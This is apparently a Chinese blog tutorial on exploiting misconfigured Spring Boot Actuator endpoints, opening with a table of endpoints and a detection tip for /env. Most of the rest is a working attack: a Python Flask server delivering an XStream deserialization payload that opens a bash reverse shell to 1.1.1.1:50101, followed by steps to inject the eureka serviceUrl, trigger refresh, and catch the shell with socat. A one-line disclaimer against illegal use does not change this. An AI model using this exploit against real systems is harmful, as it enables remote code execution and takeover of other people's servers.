本文仅作为技术讨论及分享,严禁用于任何非法用途。
漏洞介绍
actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:
Http 方法 |
路径 |
描述 |
get |
/autoconfig |
提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
get |
/configprops |
描述配置属性(包含默认值)如何注入 Bean |
get |
/beans |
描述应用程序上下文里全部的 Bean,以及它们的关系 |
get |
/dump |
获取线程活动的快照 |
get |
/env |
获取全部环境属性 |
get |
/env/{name} |
根据名称获取特定的环境属性值 |
get |
/health |
报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
get |
/info |
获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
get |
/mappings |
描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
get |
/metrics |
报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
get |
/metrics/{name} |
报告指定名称的应用程序度量值 |
post |
/shutdown |
关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
get |
/trace |
提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
漏洞发现
访问web应用的/actuator/env
或/env
,如果有返回json格式的数据则可能存在漏洞。
漏洞exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods = ['GET', 'POST']) def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>bash</string> <string>-c</string> <string>bash -i >/dev/tcp/1.1.1.1/50101 0>&1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>""" return Response(xml, mimetype='application/xml') if __name__ == "__main__": app.run(host='0.0.0.0', port=50102)
|
漏洞利用
首先把exp保存为exp.py
文件,然后修改第22行的ip地址为接收反弹shell的ip,然后运行exp.py
:
配置eureka.client.serviceUrl.defaultZone=http://1.1.1.1:50102/xstream
,其中的ip地址为exp.py
监听的地址:
然后通过refresh
端点刷新,靶机将通过刚刚在env
配置的eureka.client.serviceUrl.defaultZone
路径发起请求,获取恶意XML文件:
exp.py
接收到靶机发起的请求:
获得反弹shell:
1
| socat tcp-l:50101,fork,reuseaddr -
|
注意: http://1.1.1.1:50102/xstream
返回的是application/xml
格式数据,否则服务端不认,所以需要运行exp.py
来做服务。
参考
Springboot之actuator配置不当的漏洞利用
Spring Boot Actuators配置不当导致RCE漏洞复现